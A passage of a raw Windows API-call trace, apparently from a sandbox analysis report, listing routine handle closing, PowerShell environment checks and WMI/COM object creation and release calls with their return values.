DeregisterEventSource (hEventLog=0x5000004) returned 1 [0259.317] GetLastError () returned 0x0 [0259.323] CoGetContextToken (in: pToken=0x2a3f85c | out: pToken=0x2a3f85c) returned 0x0 [0259.323] WbemLocator:IUnknown:Release (This=0x67bdbc) returned 0x1 [0259.323] IUnknown:Release (This=0x5e6cb34) returned 0x0 [0259.326] IUnknown:Release (This=0x5e6d710) returned 0x1 [0259.348] CloseHandle (hObject=0x73) returned 1 [0259.349] GetLastError () returned 0x0 [0259.349] CloseHandle (hObject=0x6f) returned 1 [0259.349] GetLastError () returned 0x0 [0259.349] CloseHandle (hObject=0x6b) returned 1 [0259.350] GetLastError () returned 0x0 [0259.350] CloseHandle (hObject=0x67) returned 1 [0259.351] GetLastError () returned 0x0 [0259.351] CloseHandle (hObject=0x63) returned 1 [0259.351] GetLastError () returned 0x0 [0259.351] CloseHandle (hObject=0x5f) returned 1 [0259.352] GetLastError () returned 0x0 [0259.352] CloseHandle (hObject=0x5b) returned 1 [0259.352] GetLastError () returned 0x0 [0259.353] CloseHandle (hObject=0x57) returned 1 [0259.353] GetLastError () returned 0x0 [0259.353] CloseHandle (hObject=0x53) returned 1 [0259.354] GetLastError () returned 0x0 [0259.354] CloseHandle (hObject=0x4f) returned 1 [0259.354] GetLastError () returned 0x0 [0259.355] CloseHandle (hObject=0x4b) returned 1 [0259.355] GetLastError () returned 0x0 [0259.355] CloseHandle (hObject=0x47) returned 1 [0259.356] GetLastError () returned 0x0 [0259.356] CloseHandle (hObject=0x43) returned 1 [0259.356] GetLastError () returned 0x0 [0259.357] CloseHandle (hObject=0x3f) returned 1 [0259.357] GetLastError () returned 0x0 [0259.357] CloseHandle (hObject=0x3b) returned 1 [0259.358] GetLastError () returned 0x0 [0259.358] CloseHandle (hObject=0x37) returned 1 [0259.358] GetLastError () returned 0x0 [0259.358] CloseHandle (hObject=0x33) returned 1 [0259.359] GetLastError () returned 0x0 [0259.359] CloseHandle (hObject=0x2f) returned 1 [0259.359] GetLastError () returned 0x0 [0259.360] CloseHandle (hObject=0x3b4) returned 1 [0259.360] GetLastError () returned 0x0 [0259.360] CloseHandle (hObject=0x35c) returned 1 [0259.360] GetLastError () returned 0x0 [0259.360] CloseHandle (hObject=0x358) returned 1 [0259.360] GetLastError () returned 0x0 [0259.361] CloseHandle (hObject=0x354) returned 1 [0259.361] GetLastError () returned 0x0 [0259.361] CloseHandle (hObject=0x350) returned 1 [0259.361] GetLastError () returned 0x0 [0259.361] CloseHandle (hObject=0x34c) returned 1 [0259.361] GetLastError () returned 0x0 [0259.362] CloseHandle (hObject=0x348) returned 1 [0259.362] GetLastError () returned 0x0 [0259.362] CloseHandle (hObject=0x338) returned 1 [0259.362] GetLastError () returned 0x0 [0259.362] CloseHandle (hObject=0x31c) returned 1 [0259.362] GetLastError () returned 0x0 [0259.362] CloseHandle (hObject=0x3b0) returned 1 [0259.362] GetLastError () returned 0x0 [0259.363] CloseHandle (hObject=0x314) returned 1 [0259.363] GetLastError () returned 0x0 [0259.366] CloseHandle (hObject=0x344) returned 1 [0259.366] GetLastError () returned 0x0 [0259.366] CloseHandle (hObject=0x2b) returned 1 [0259.366] GetLastError () returned 0x0 [0259.367] CloseHandle (hObject=0x27) returned 1 [0259.367] GetLastError () returned 0x0 [0259.367] CloseHandle (hObject=0x23) returned 1 [0259.368] GetLastError () returned 0x0 [0259.368] CloseHandle (hObject=0x1f) returned 1 [0259.368] GetLastError () returned 0x0 [0259.369] CloseHandle (hObject=0x1b) returned 1 [0259.369] GetLastError () returned 0x0 [0259.370] CloseHandle (hObject=0x368) returned 1 [0259.370] GetLastError () returned 0x0 [0259.370] CloseHandle (hObject=0x17) returned 1 [0259.371] GetLastError () returned 0x0 [0259.371] CloseHandle (hObject=0x13) returned 1 [0259.371] GetLastError () returned 0x0 [0259.371] RegCloseKey (hKey=0x444) returned 0x0 [0259.372] CloseHandle (hObject=0x448) returned 1 [0259.372] GetLastError () returned 0x0 [0259.372] CloseHandle (hObject=0x44c) returned 1 [0259.372] GetLastError () returned 0x0 [0259.372] CloseHandle (hObject=0x450) returned 1 [0259.372] GetLastError () returned 0x0 [0259.373] CloseHandle (hObject=0x454) returned 1 [0259.373] GetLastError () returned 0x0 [0259.373] CloseHandle (hObject=0x458) returned 1 [0259.373] GetLastError () returned 0x0 [0259.373] CloseHandle (hObject=0x364) returned 1 [0259.373] GetLastError () returned 0x0 [0259.374] CloseHandle (hObject=0x460) returned 1 [0259.374] GetLastError () returned 0x0 [0259.374] CloseHandle (hObject=0x404) returned 1 [0259.374] GetLastError () returned 0x0 [0259.374] CloseHandle (hObject=0x408) returned 1 [0259.374] GetLastError () returned 0x0 [0259.375] CloseHandle (hObject=0x40c) returned 1 [0259.375] GetLastError () returned 0x0 [0259.375] CloseHandle (hObject=0x330) returned 1 [0259.375] GetLastError () returned 0x0 [0259.375] CloseHandle (hObject=0x410) returned 1 [0259.375] GetLastError () returned 0x0 [0259.376] CloseHandle (hObject=0x464) returned 1 [0259.376] GetLastError () returned 0x0 [0259.376] UnmapViewOfFile (lpBaseAddress=0x580000) returned 1 [0259.377] CloseHandle (hObject=0x340) returned 1 [0259.377] GetLastError () returned 0x0 [0259.377] RegCloseKey (hKey=0x80000004) returned 0x0 [0259.378] CloseHandle (hObject=0x3fc) returned 1 [0259.378] GetLastError () returned 0x0 [0259.378] CloseHandle (hObject=0x2fc) returned 1 [0259.378] GetLastError () returned 0x0 [0259.378] CloseHandle (hObject=0x3f8) returned 1 [0259.379] GetLastError () returned 0x0 [0259.379] CloseHandle (hObject=0xf) returned 1 [0259.379] GetLastError () returned 0x0 [0259.383] CoGetContextToken (in: pToken=0x2a3e34c | out: pToken=0x2a3e34c) returned 0x0 [0259.383] CoGetContextToken (in: pToken=0x2a3e2dc | out: pToken=0x2a3e2dc) returned 0x0 [0259.383] IUnknown:Release (This=0x5e6d710) returned 0x0 [0259.384] CoGetContextToken (in: pToken=0x2a3e2dc | out: pToken=0x2a3e2dc) returned 0x0 [0259.384] WbemLocator:IUnknown:Release (This=0x70ccb4) returned 0x1 [0259.384] WbemLocator:IUnknown:Release (This=0x5e6d3c4) returned 0x0 [0259.385] CoGetContextToken (in: pToken=0x2a3e2dc | out: pToken=0x2a3e2dc) returned 0x0 [0259.385] WbemDefPath:IUnknown:Release (This=0x5e608b8) returned 0x1 [0259.386] WbemDefPath:IUnknown:Release (This=0x5e608b8) returned 0x0 [0259.386] CoGetContextToken (in: pToken=0x2a3e2dc | out: pToken=0x2a3e2dc) returned 0x0 [0259.386] WbemStatusCodeText:IUnknown:Release (This=0x5e60ad0) returned 0x1 [0259.386] WbemStatusCodeText:IUnknown:Release (This=0x5e60ad0) returned 0x0 [0259.386] CoGetContextToken (in: pToken=0x2a3e2dc | out: pToken=0x2a3e2dc) returned 0x0 [0259.386] WbemDefPath:IUnknown:Release (This=0x5e60820) returned 0x1 [0259.387] IUnknown:Release (This=0x637a18) returned 0x0 [0259.387] WbemDefPath:IUnknown:Release (This=0x5e60820) returned 0x0 Thread: id = 99 os_tid = 0xba4 Thread: id = 102 os_tid = 0xb48 [0153.826] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0153.903] SetThreadUILanguage (LangId=0x0) returned 0x409 [0153.941] VirtualQuery (in: lpAddress=0x5dbe140, lpBuffer=0x5dbf140, dwLength=0x1c | out: lpBuffer=0x5dbf140*(BaseAddress=0x5dbe000, AllocationBase=0x5430000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.953] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.953] GetLastError () returned 0xcb [0153.962] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.962] GetLastError () returned 0xcb [0153.966] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.966] GetLastError () returned 0xcb [0154.019] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.020] GetLastError () returned 0xcb [0154.026] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.026] GetLastError () returned 0xcb [0154.029] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.029] GetLastError () returned 0xcb [0154.057] VirtualQuery (in: lpAddress=0x5dbe25c, lpBuffer=0x5dbf25c, dwLength=0x1c | out: lpBuffer=0x5dbf25c*(BaseAddress=0x5dbe000, AllocationBase=0x5430000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0154.059] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.059] GetLastError () returned 0xcb [0154.064] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.064] GetLastError () returned 0xcb [0154.065] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.065] GetLastError () returned 0xcb [0154.092] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.092] GetLastError () returned 0xcb [0154.161] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.161] GetLastError () returned 0xcb [0154.266] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.266] GetLastError () returned 0xcb [0154.270] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.270] GetLastError () returned 0xcb [0154.273] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.273] GetLastError () returned 0xcb [0154.277] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.277] GetLastError () returned 0xcb [0154.279] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.279] GetLastError () returned 0xcb [0154.282] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.282] GetLastError () returned 0xcb [0154.285] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.285] GetLastError () returned 0xcb [0154.377] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5cb8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.377] GetLastError () returned 0xcb [0154.907] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.907] GetLastError () returned 0xcb [0154.981] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f5d10, nSize=0x80 | out: lpBuffer="") returned 0x0 [0154.981] GetLastError () returned 0xcb [0156.899] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x368 [0156.900] GetLastError () returned 0x0 [0156.905] CoGetObjectContext (in: riid=0x2e941a0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5dbedf0 | out: ppv=0x5dbedf0*=0x637a24) returned 0x0 [0156.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x5dbdfa8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e [0156.976] GetLastError () returned 0x0 [0156.983] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\\\wminet_utils.dll") returned 0x6a310000 [0157.212] GetProcAddress (hModule=0x6a310000, lpProcName="ResetSecurity") returned 0x6a311944 [0157.322] GetProcAddress (hModule=0x6a310000, lpProcName="SetSecurity") returned 0x6a311986 [0157.331] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServices") returned 0x6a3119cc [0157.343] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServicesObject") returned 0x6a311a1e [0157.352] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyHandle") returned 0x6a311a70 [0157.360] GetProcAddress (hModule=0x6a310000, lpProcName="WritePropertyValue") returned 0x6a311a89 [0157.368] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0157.374] GetProcAddress (hModule=0x6a310000, lpProcName="VerifyClientKey") returned 0x6a312270 [0157.382] GetProcAddress (hModule=0x6a310000, lpProcName="GetQualifierSet") returned 0x6a311d73 [0157.389] GetProcAddress (hModule=0x6a310000, lpProcName="Get") returned 0x6a311b96 [0157.397] GetProcAddress (hModule=0x6a310000, lpProcName="Put") returned 0x6a311b7a [0157.405] GetProcAddress (hModule=0x6a310000, lpProcName="Delete") returned 0x6a311bb5 [0157.412] GetProcAddress (hModule=0x6a310000, lpProcName="GetNames") returned 0x6a311bc8 [0157.420] GetProcAddress (hModule=0x6a310000, lpProcName="BeginEnumeration") returned 0x6a311be4 [0157.428] GetProcAddress (hModule=0x6a310000, lpProcName="Next") returned 0x6a311bf7 [0157.436] GetProcAddress (hModule=0x6a310000, lpProcName="EndEnumeration") returned 0x6a311c16 [0157.444] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyQualifierSet") returned 0x6a311c26 [0157.451] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2 [0157.452] GetProcAddress (hModule=0x6a310000, lpProcName="GetObjectText") returned 0x6a311c3c [0157.459] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnDerivedClass") returned 0x6a311c52 [0157.466] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnInstance") returned 0x6a311c68 [0157.473] GetProcAddress (hModule=0x6a310000, lpProcName="CompareTo") returned 0x6a311c7e [0157.481] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyOrigin") returned 0x6a311c94 [0157.488] GetProcAddress (hModule=0x6a310000, lpProcName="InheritsFrom") returned 0x6a311caa [0157.496] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethod") returned 0x6a311cbd [0157.504] GetProcAddress (hModule=0x6a310000, lpProcName="PutMethod") returned 0x6a311cd9 [0157.512] GetProcAddress (hModule=0x6a310000, lpProcName="DeleteMethod") returned 0x6a311cf5 [0157.582] GetProcAddress (hModule=0x6a310000, lpProcName="BeginMethodEnumeration") returned 0x6a311d08 [0157.590] GetProcAddress (hModule=0x6a310000, lpProcName="NextMethod") returned 0x6a311d1b [0157.598] GetProcAddress (hModule=0x6a310000, lpProcName="EndMethodEnumeration") returned 0x6a311d37 [0157.605] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodQualifierSet") returned 0x6a311d47 [0157.608] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodOrigin") returned 0x6a311d5d [0157.611] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Get") returned 0x6a311d86 [0157.615] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Put") returned 0x6a311da2 [0157.618] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Delete") returned 0x6a311dbb [0157.621] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_GetNames") returned 0x6a311dce [0157.624] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a311de4 [0157.628] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Next") returned 0x6a311df7 [0157.632] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a311e13 [0157.649] GetProcAddress (hModule=0x6a310000, lpProcName="GetCurrentApartmentType") returned 0x6a311d73 [0157.657] GetProcAddress (hModule=0x6a310000, lpProcName="GetDemultiplexedStub") returned 0x6a3118fd [0157.661] GetProcAddress (hModule=0x6a310000, lpProcName="CreateInstanceEnumWmi") returned 0x6a311580 [0157.666] GetProcAddress (hModule=0x6a310000, lpProcName="CreateClassEnumWmi") returned 0x6a3115f6 [0157.674] GetProcAddress (hModule=0x6a310000, lpProcName="ExecQueryWmi") returned 0x6a31169e [0157.676] GetProcAddress (hModule=0x6a310000, lpProcName="ExecNotificationQueryWmi") returned 0x6a311717 [0157.678] GetProcAddress (hModule=0x6a310000, lpProcName="PutInstanceWmi") returned 0x6a311790 [0157.679] GetProcAddress (hModule=0x6a310000, lpProcName="PutClassWmi") returned 0x6a311810 [0157.681] IComThreadingInfo:GetCurrentApartmentType (in: This=0x637a24, pAptType=0x5dbede8 | out: pAptType=0x5dbede8*=1) returned 0x0 [0157.689] IUnknown:QueryInterface (in: This=0x637a24, riid=0x2e94188*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5dbedec | out: ppvObject=0x5dbedec*=0x0) returned 0x80004002 [0157.690] IUnknown:Release (This=0x637a24) returned 0x0 [0157.901] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x5dbe9a0 | out: lpiid=0x5dbe9a0) returned 0x0 [0157.903] CoGetClassObject (in: rclsid=0x6f35e4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x748fa3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5dbe908 | out: ppv=0x5dbe908*=0x5e60810) returned 0x0 [0157.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e60810, riid=0x749e7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5dbe738 | out: ppvObject=0x5dbe738*=0x0) returned 0x80004002 [0157.925] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5e60810, pUnkOuter=0x0, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe770 | out: ppvObject=0x5dbe770*=0x5e60820) returned 0x0 [0157.926] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e60820, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe514 | out: ppvObject=0x5dbe514*=0x5e60820) returned 0x0 [0157.926] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e60820, riid=0x74994204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5dbe4d0 | out: ppvObject=0x5dbe4d0*=0x0) returned 0x80004002 [0157.927] WbemDefPath:IUnknown:AddRef (This=0x5e60820) returned 0x3 [0157.927] CoGetContextToken (in: pToken=0x5dbe35c | out: pToken=0x5dbe35c) returned 0x0 [0157.928] CoGetObjectContext (in: riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6f29dc | out: ppv=0x6f29dc*=0x637a18) returned 0x0 [0157.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e60820, riid=0x748723cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe344 | out: ppvObject=0x5dbe344*=0x6f6b68) returned 0x0 [0157.928] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x6f6b68, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5dbe34c | out: pCid=0x5dbe34c*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.929] WbemDefPath:IUnknown:Release (This=0x6f6b68) returned 0x3 [0157.930] CoGetContextToken (in: pToken=0x5dbe354 | out: pToken=0x5dbe354) returned 0x0 [0157.930] WbemDefPath:IUnknown:AddRef (This=0x5e60820) returned 0x4 [0157.930] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e60820, riid=0x748c767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbe3c8 | out: ppvObject=0x5dbe3c8*=0x0) returned 0x80004002 [0157.930] WbemDefPath:IUnknown:Release (This=0x5e60820) returned 0x3 [0157.931] WbemDefPath:IUnknown:Release (This=0x5e60820) returned 0x2 [0157.931] WbemDefPath:IUnknown:Release (This=0x5e60810) returned 0x0 [0157.931] WbemDefPath:IUnknown:Release (This=0x5e60820) returned 0x1 [0157.933] CoGetContextToken (in: pToken=0x5dbec04 | out: pToken=0x5dbec04) returned 0x0 [0157.933] CoGetContextToken (in: pToken=0x5dbebc4 | out: pToken=0x5dbebc4) returned 0x0 [0157.933] WbemDefPath:IUnknown:AddRef (This=0x5e60820) returned 0x2 [0157.933] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e60820, riid=0x5dbec40*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5dbec3c | out: ppvObject=0x5dbec3c*=0x5e60820) returned 0x0 [0157.933] WbemDefPath:IUnknown:Release (This=0x5e60820) returned 0x2 [0157.934] WbemDefPath:IUnknown:Release (This=0x5e60820) returned 0x1 [0157.935] CoGetObjectContext (in: riid=0x2e941a0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5dbe614 | out: ppv=0x5dbe614*=0x637a24) returned 0x0 [0157.936] IComThreadingInfo:GetCurrentApartmentType (in: This=0x637a24, pAptType=0x5dbe60c | out: pAptType=0x5dbe60c*=1) returned 0x0 [0157.936] IUnknown:QueryInterface (in: This=0x637a24, riid=0x2e94188*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x5dbe610 | out: ppvObject=0x5dbe610*=0x0) returned 0x80004002 [0157.936] IUnknown:Release (This=0x637a24) returned 0x1 [0157.945] CoGetClassObject (in: rclsid=0x6f35e4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x748fa3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5dbe12c | out: ppv=0x5dbe12c*=0x5e60810) returned 0x0 [0157.945] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e60810, riid=0x749e7ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5dbdf5c | out: ppvObject=0x5dbdf5c*=0x0) returned 0x80004002 [0157.945] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5e60810, pUnkOuter=0x0, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbdf94 | out: ppvObject=0x5dbdf94*=0x5e608b8) returned 0x0 [0157.945] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e608b8, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbdd38 | out: ppvObject=0x5dbdd38*=0x5e608b8) returned 0x0 [0157.946] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e608b8, riid=0x74994204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5dbdcf4 | out: ppvObject=0x5dbdcf4*=0x0) returned 0x80004002 [0157.947] WbemDefPath:IUnknown:AddRef (This=0x5e608b8) returned 0x3 [0157.947] CoGetContextToken (in: pToken=0x5dbdb80 | out: pToken=0x5dbdb80) returned 0x0 [0157.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e608b8, riid=0x748723cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbdb68 | out: ppvObject=0x5dbdb68*=0x6f6b78) returned 0x0 [0157.947] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x6f6b78, riid=0x74977714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5dbdb70 | out: pCid=0x5dbdb70*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.947] WbemDefPath:IUnknown:Release (This=0x6f6b78) returned 0x3 [0157.948] CoGetContextToken (in: pToken=0x5dbdb78 | out: pToken=0x5dbdb78) returned 0x0 [0157.948] WbemDefPath:IUnknown:AddRef (This=0x5e608b8) returned 0x4 [0157.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e608b8, riid=0x748c767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5dbdbec | out: ppvObject=0x5dbdbec*=0x0) returned 0x80004002 [0157.948] WbemDefPath:IUnknown:Release (This=0x5e608b8) returned 0x3 [0157.949] WbemDefPath:IUnknown:Release (This=0x5e608b8) returned 0x2 [0157.949] WbemDefPath:IUnknown:Release (This=0x5e60810) returned 0x0 [0157.949] WbemDefPath:IUnknown:Release (This=0x5e608b8) returned 0x1 [0157.949] CoGetContextToken (in: pToken=0x5dbe428 | out: pToken=0x5dbe428) returned 0x0 [0157.949] CoGetContextToken (in: pToken=0x5dbe3e8 | out: pToken=0x5dbe3e8) returned 0x0 [0157.950] WbemDefPath:IUnknown:AddRef (This=0x5e608b8) returned 0x2 [0157.950] WbemDefPath:IUnknown:QueryInterface (in: This=0x5e608b8, riid=0x5dbe464*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, 